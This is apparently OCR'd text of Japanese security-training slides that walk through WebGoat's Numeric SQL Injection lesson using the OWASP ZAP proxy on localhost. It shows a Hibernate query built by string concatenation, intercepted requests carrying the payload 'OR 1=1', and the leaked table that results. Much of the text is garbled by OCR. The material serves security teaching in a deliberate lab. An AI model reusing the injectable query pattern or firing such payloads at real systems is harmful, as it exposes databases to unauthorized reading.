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Query HQLQuery = session.createQuery(“FROM accounts
WHERE custID="“ + request.getParameter("id") + "'");
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OWASP

* OWASP SQL Injection Prevention Cheat Sheet

* OWASP Query Parameterization Cheat Sheet

* OWASP Command Injection Article

* OWASP XML eXternal Entity (XXE) Reference Article
* ASVS: Output Encoding/EscAPIng Requirements (V6)
* OWASP Testing Guide: Chapter on SQL Injection Testing
TNt

* CWE Entry 77 on Command Injection

* CWE Entry 89 on SQL Injection

* CWE Entry 564 on Hibernate Injection
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https://github.com/WebGoat/WebGoat

BFEICHIIEZANTED

Web)? 7)o —=>3

E > CHHES |

WebGoat

>/

O

README.MD

*WebGoat: A deliberately insecure Web Application

il passing dependencis unk

Important

This is the development version cf WebCoat 8, if you are looking for a released steble version please go to:
https://github.com/WebGoat/WebGoat/wiki/Running-WebGoat

Introduction

WebGoat is a deliberately insecure web application maintained by OWASP designed to teach web application security
lessons.

This program is a demonstration of common server-side application flaws. The exercises are intended to be used by
people to learn about application security and penetration testing techniques.

WARNING 1: While running this program your machine will be extremely vulnerable to attack. You should disconnect
from the Internet while using this program. WebGoat's default configuration binds to localhost to minimize the
exposure.

WARNING 2: This program is for educational purposes only. If you attempt these techniques without authorization,
you are very likely to get caught. If you are caught engaging in unauthorized hacking, most companies will fire you.
Claiming that you were doing security research will not work as that is the first thing that all hackers ciaim.

Run Instructions:
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AAAXIIDockerT !

docker run -p 8080:8080 webgoat/webgoat-7.1



Username

Password

http://localhost:8080/WebGoat/

guest / guestcAJ1 > L5

The following accounts are built into Webgoat
Account User Password

Webgoat User guest guest

Webgoat Admin webgoat webgoat
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PN Ce/NI - Numeric SQL Injection

Introduction

Show Solution i Show Plan il Show Hints ERCEERE R

 Control Flaws Cookies / Parameters
SQL injection attacks represent a serious threat to any database-driven site. The methods behind an
attack are easy to learn and the damage caused can range from considerable to complete system

Authentication Flaws compromise. Despite these risks, an incredible number of systems on the internet are susceptible to
this form of attack. name _railsgoat_session

TkdxbWJZOG2UNOISQUUS3AMUSpHTZMTU

—_ — - . g s _ s ) of _ s « . _a oy el : . LWVESOVEA4 T KEAWHIr TdBub | ==KO TR QeNEJDI
Code Quality Not only is It a threat easily instigated. it is also a threat that. with a little commmon-sense and DeHIXOStXeldacVRON3HEN 30SYESK aGRx Oz

forethought, can easily be prevented. NwcFNneyQabk 1 0MzR 1 THhO2IYbVhgOUF 23
1 FOUNVBQUVFYUWNUQRNTeC SBh3ZKdiak VT

. . . . . . : i N IHdwi ADCWhFCESZZVhzQOcUZmE W51
It is always good practice to sanitize all input data. especially data that will used in OS command, scripts. 62GhPcBRaUdaZEdnZIVE Trmd Tk JMT 2130
Improper Error Handling and database queries, even if the threat of SQAL injection has been prevented in some other manner. value 1-'3"*‘*"""':--1"';i*i?ﬁ I:f'"-"IE*"Li‘f9‘-'-'f“i(*f"'EL"Tf;-—J"": et
uY Z2zzM|lgeGi WIAVOFzaVZIQ3I0R T duch L

General Goal(s): VVFzemNInDR|SYBEamI00X ) pe'WhVZFQT RE

LXNMULINEV3JranDenU2NZECRVGYGELDz

The form below allows a user to view weather data. Try to inject an SQL string that results in all the FkeEOHamxEaDItelUSLS] 5Y2xKSVIDenNiban

weather data being displayed. caiJzomZrizV3PT0%3D—

Numeric SOQL Injection ) = = edZ2b0d | «835bd436baldh4 feb508cdf49en
o L T :

Select your local weather station: |_Columbia v de3

comment

domain

maxAge ©

path

secure false

version 0

Stage 2: Parameterized Query #1 httpOnly alse

Stage 3: Numeric SAL Injection

Cookie/s

Buffer Overflows

Cross-gite sScripting (RSS)

Injection Flaws

Command Injection

o0

Gol

SELECT *# FROM weather_data WHERE station = [station]

Parameters

otage 4. Parameterized Query #2

Database Backdoors SCr 101828144
menu 1100
stage

num

Blind Numeric SQL I
Blind String SQL Injectior

Denial of Service

XZ3—m6HUEWEHEEZELU THEZDS |
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OWASP Zed Attack Proxy (ZAP) AL S C

v 5 arr¥ar
TRV THE2R ZAPIIWEBY ST =2z VNORBEL2 RO SLDICHMACESENEAS, REAF =23 T ANY=LTY,
@ TrIh

FACTFINT ST EB/LET T )0 = 20CRBETELIDCRE BT LSV,

YCEFT V=72 MT2E3, TREEWRLEADLT KREHF TN,

R ® URL: hup.//f ¢
I, P"'ﬁ J

ETPR: 2.

BICHFARTX~Z2FTSICE. 7ZAPO70F 5 BLETSOYE LIEER{ZZNE 7Ly Y3 YyT AREBWT P77 ) r—v 3
SR 2VTRALZ 771V EESRLTLESZV

Il 5% Pro-~ G707k 4 OWASPt){EI:/_&EEﬁ:IE_a- % \\/ _}l/o

@ & T 7105 A2

A UZIAFER AUy F URL A7—5AA—F A7—PRA—FBE S50 FF 37510 LARVARG 9/ X BEFS—F J—F 77 i
Fi2 R O ORFLONMD BEOREr>y $0 1 20 @0 %o S0 #o

https://www.owasp.org/index.php/OWASP_Zed Attack Proxy Project
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@) *Fg v

Replacer O—AJL - 7OF )
Rule Configuration

Statistics Address (eg localhost, 127.0.0.1) localhost

WebSockets

Zest KN— k({5 8080) 8070 = || ~ ~

ZAPOA T avhs, fA—AIL -
rrVr=ay RAUR— FERETSIHOTOX VAT 3 cBELTFE L, (http & httpsiA N

e Bl FHRIUAR—bEBSCTLIHEAENED)

7 . | ~ -E-}-bl_' | i
’Iji‘fﬁi;f: Behind NAT 7O|:| f\’ > ] €EXA 9 %)0

A+ Remove Unsupported Encodings
A7 VT K
AN —

’5':47“'3 ¥ 7 SSLEAEHAE Security Protocols
P

oy kT SSLv2Hello P ssL3 @ TLS1 @@ TLS1.1 [ TLS 1.2 §]EEF":EI: O)WebGOatbQSOSO \\_E_éj_] \,\—( \J\

JL—TRA 2~

- —_ - o -
AT , H5EESOT. BEIRBSWLWR— N TE

@759 X |

o MUFERL&LD ! (BITEKE070)

Fa

=un

= aQ

AERRE
A A F v

Always unzip gzipped content

Reset to Factory Defaults Fv ozl OK
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T Wi-Fi
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SOCKS 7 0% & o b]’—{_‘_/_l_{)— I\ %j:bf?, L/—C_Fé \J\O

ARD)—Z2770% (RTSP)
GopherZ70O0#%%
BHIRA b B ZEERN
JOFVEEERELUGWRARE FXAA 2

REFTPE— K (PASV) Z#4H

vl OK
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ack Proxy (ZAP) AL S %
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vebgoat20170830 - OWASP ZAP 2.6.0
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% WEBGOAT

INntroductior

: Show Solution EXTLIE) (Restart Lesson

General

Numeric SQL Injection

Access Control Flaws
SQL injection attacks represent a serious threat to any database-driven site. The methods behind an

attack are easy to learn and the damage caused can range from considerable to complete system \ Qe— 1\ ~
compromise. Despite these risks, an incredible number of systems on the internet are susceptible to j 7 l 7 I j 7 ’\ b
this form of attack.

- . . . . . . - - /—
Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and J: 2 %1 I

tforethought, can easily be prevented.

35oIte wCTpung iAoy : It is always good practice to sanitize all input data, especially data that will used in OS command, scripts,
and database gueries, even if the threat of SQL injection has been prevented in some other manner.
General Goal(s):

Improper Errar Handling

Injection Flaws
The form below allows a user to view weather data. Try te inject an SQL string that results in all the
weather data being displayed.

command Iniection

Numeric SQL Injection . - A
select your local weather station: | Seattle v/

Go!

SELECT % FROM weather_data WHERE station = [station]

Stage 2: Parameterized Query # 1

Stage 3: Numeric SQL Injection
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=oEE e a0 E AV e P % E s e @&

Foqtvs 25—~ =S UIIZL & Lzkrz e +

XYy R Header: 77 A JLh 2 — Body: 77 # )L E2— = =

POST http://localhost:8080/WebGoat/attack?Screen=101829144&menu=1100 HTTP/1.1
Host: localhost:80860

Proxy—-Connection: keep-alive
Content-Length: 22

Accept: *x/%

Origin: http://localhost: 8080
X-Requested-With: XMLHttpRequest

User—-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko

station=1025SUBMIT=Go!

7 A%k
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LN = = N = N = = H‘h] d @l @WK E e :-"'
Ay AT —hk = UJIAL = LRKRZR _ 4k
Ay R Header: 77 4 )L Ea— Body: 7 AL k21— B @

POST http://localhost:8080/WebGoat/attack?Screen=101829144&menu=1100 HTTP/1.1
Host: Llocalhost:8080

Proxy—Connection: keep-alive

Content-Length: 22

Accept: =x/x%

Origin: http://localhost:8080

X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_12 6) AppleWebKit/537.36 (KHTML, like Gecko

station=102%200R%201%3D15SUBMIT=Go |
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LN = = N = N = = H‘h] d @l @WK E e :-"'
Ay AT —hk = UJIAL = LRKRZR _ 4k
Ay R Header: 77 4 )L Ea— Body: 7 AL k21— B @

POST http://localhost:8080/WebGoat/attack?Screen=101829144&menu=1100 HTTP/1.1
Host: Llocalhost:8080

Proxy—Connection: keep-alive

Content-Length: 22

Accept: =x/x%

Origin: http://localhost:8080

X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_12 6) AppleWebKit/537.36 (KHTML, like Gecko

station=102%200R%201%3D15SUBMIT=Go |

=SHAT
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o B EOIEmE (&Y I @r[PeE e m €]

oAy s RE—k =

e LRRYR +

Ay R Header: 77 4 )Lk ¥ 21—  F7 AN 2— 1=

POST http://localhost:8080/WebGoat/attack?Sc
Host: Llocalhost:8080
Proxy—Connection: keep-alive

Content-Length: 22
Accept: =x/x% GOI
Origin: http://localhost:8080

X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_12 6) AppleWebKit/537.36 (KHTML, like Gecko

101829144&menu=11006 HTTP/1.1

station=102%200R%201%3D15SUBMIT=Go |

=SHAT
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Header: ¥ 74 Lk Ea— & Body: F7#4MbEa— & [ ]

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1

Content-Type: text/html;charset=IS0-8859-1

(o] N\ ™
Content-Length: 2269 I/ —I— S 713\ < %
Date: Wed, 3@ Aug 2017 ©9:35:25 GMT AM A XD C

R

<!— HTML fragment correpsonding to the lesson content ——>

<div id="lessonContent">
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Header: F7 4 JLhEa— & Body: ¥ 74/l B &

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1

Content-Type: text/html;charset=IS0-8859-1

gg:zfnﬁgfng;h;uszggn 09:35:25 GMT N I/X/_I—{) A 7':){\1_ > C < %)
R ACION

X

<!—— HTML fragment correpsonding to the lesson content ——>

<div id="lessonCaontent">
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Numeric SQL Injection

Restart Lessor

SQL injection attacks represent a serious threat to any database-driven site. The
attack are easy to earn and the damaage cacLsed can range from considerable to
compromise. Despite these risks, an incredible numbear of systems on the interne
tris form of attack.

Not only is it a threat easily inst gated, it is also a threat that, with a little commor
forethought, can easily be prevented.

It is alvays good practice to sanitize all input data, especially data that will used i
and database queries, even if the threat of SQL injection has been prevented in ¢
General Goal(s):

The form below allows a user tc view weather data. Try to inject an SOL string th

waather data being displayed.

* Bet you can't dc it againl This lesson has detected your successful attacl
switched to a defensive mode. Try again to attack a parameterized query.
Select your local waather station: |_Columbia ¥

Go!

SELECT % FROM weather_data WHERE station = 10Z OR 1=1

STATION|NAME STATE |[MIN_TEMP MAX_TEMP
101 Columbia MD -10 102

102 Seattle WA -1 90

103 New York NY -10 110

104 Houston TX 20 120

10001 Camp Cavid MD -10 100

11001 Ice Staton Zebra|NA -60 30

>

=

DHICLARYANRRENS |
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OWASP Zed Attack Proxy (ZAPANK S C %

ZAPIIWEBF U T —2a vADRBEZR DI DEHICEHBILESFNLED, a2 L—2a3 Y TAMY—=IL T,
SIS T ANT BETZR 7 TV Tr—a3VEITIKRETEL 2R ZE2H TS,

T IV T—2a %7 AT BICIE, TRICURLEAD L TEEZRL TLIES WL,

WEETTER URL: http:// & 2
L B B =it
ETIR: =1k

EICFHATANZETZICE. ZAPOZOF U ZB L7200 UKEEELEN LI Ly Y3y T AN ERWTITZ 7Y r—r3

Explore your application: Launch Browser Chrome
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OWASP Zed Attack Proxy (ZAPANK S C %

ZAPIIWEBF U T —2a vADRBEZR DI DEHICEHBILESFNLED, a2 L—2a3 Y TAMY—=IL T,
SIS T ANT BETZR 7 TV Tr—a3VEITIKRETEL 2R ZE2H TS,

T IV T—2a %7 AT BICIE, TRICURLEAD L TEEZRL TLIES WL,

WEETTER URL: http:// & 2
L B B =it
ETIR: =1k

EICFHATANZETZICE. ZAPOZOF U ZB L7200 UKEEELEN LI Ly Y3y T AN ERWTITZ 7Y r—r3

Explore your application: Launch Browser Chrome
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OWASP Zed Attack Proxy (ZAPANK S C %

ZAPIIWEBZ 7T —> 3 vADRBEZR DTS LEHICEHBICESTEILES. iR L —3 T AMY—ILTY,
SFRINC T ANT BT ZEZ 7 TV r—a Vv iEIKHET S LD ICTZE2IHF TS0,

LTIV Tr—23 %7 AT BICE, TRICURLZEADL T HEZIR LTS W,

WEETTR URL: http://
L s {21k
EITIR . =1k

URLZASILT

EICFHATANZETZICE. ZAPOZOF U ZB L7200 UKEEELEN LI Ly Y3y T AN ERWTITZ 7Y r—r3

Explore your application: Launch Browser Chrome
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